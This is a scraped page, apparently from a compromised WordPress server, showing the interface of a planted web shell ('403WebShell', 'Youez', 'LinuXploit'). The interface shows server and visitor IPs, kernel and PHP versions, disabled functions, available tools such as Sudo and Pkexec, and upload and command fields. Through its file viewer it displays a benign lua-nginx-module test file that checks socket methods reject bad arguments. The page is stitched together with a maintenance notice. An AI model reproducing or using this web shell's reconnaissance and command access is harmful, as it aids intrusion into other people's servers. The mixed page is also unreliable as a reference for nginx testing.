WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/nginx/src/lua_nginx_module/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/nginx/src/lua_nginx_module/t/083-bad-sock-self.t
# vim:set ft= ts=4 sw=4 et fdm=marker:

use Test::Nginx::Socket::Lua;

repeat_each(2);

plan tests => repeat_each() * (blocks() * 3);

our $HtmlDir = html_dir;

#$ENV{TEST_NGINX_MEMCACHED_PORT} ||= 11211;

no_long_string();
#no_diff();
#log_level 'warn';

run_tests();

__DATA__

=== TEST 1: receive
--- config
    location /t {
        content_by_lua '
            local sock, err = ngx.req.socket()
            sock.receive("l")
        ';
    }
--- request
    POST /t
--- more_headers: Content-Length: 1024
--- response_body_like: 500 Internal Server Error
--- error_code: 500
--- error_log
bad argument #1 to 'receive' (table expected, got string)



=== TEST 2: receiveuntil
--- config
    location /t {
        content_by_lua '
            local sock, err = ngx.req.socket()
            sock.receiveuntil(32, "ab")
        ';
    }
--- request
    POST /t
--- more_headers: Content-Length: 1024
--- response_body_like: 500 Internal Server Error
--- error_code: 500
--- error_log
bad argument #1 to 'receiveuntil' (table expected, got number)



=== TEST 3: send (bad arg number)
--- config
    location /t {
        content_by_lua '
            local sock, err = ngx.socket.tcp()
            sock.send("hello")
        ';
    }
--- request
    GET /t
--- response_body_like: 500 Internal Server Error
--- error_code: 500
--- error_log
expecting 2 arguments (including the object), but got 1



=== TEST 4: send (bad self)
--- config
    location /t {
        content_by_lua '
            local sock, err = ngx.socket.tcp()
            sock.send("hello", 32)
        ';
    }
--- request
    GET /t
--- response_body_like: 500 Internal Server Error
--- error_code: 500
--- error_log
bad argument #1 to 'send' (table expected, got string)



=== TEST 5: getreusedtimes (bad self)
--- config
    location /t {
        content_by_lua '
            local sock, err = ngx.socket.tcp()
            sock.getreusedtimes(2)
        ';
    }
--- request
    GET /t
--- response_body_like: 500 Internal Server Error
--- error_code: 500
--- error_log
bad argument #1 to 'getreusedtimes' (table expected, got number)



=== TEST 6: close (bad self)
--- config
    location /t {
        content_by_lua '
            local sock, err = ngx.socket.tcp()
            sock.close(2)
        ';
    }
--- request
    GET /t
--- response_body_like: 500 Internal Server Error
--- error_code: 500
--- error_log
bad argument #1 to 'close' (table expected, got number)



=== TEST 7: setkeepalive (bad self)
--- config
    location /t {
        content_by_lua '
            local sock, err = ngx.socket.tcp()
            sock.setkeepalive(2)
        ';
    }
--- request
    GET /t
--- response_body_like: 500 Internal Server Error
--- error_code: 500
--- error_log
bad argument #1 to 'setkeepalive' (table expected, got number)

Youez - 2016 - github.com/yon3zu
LinuXploit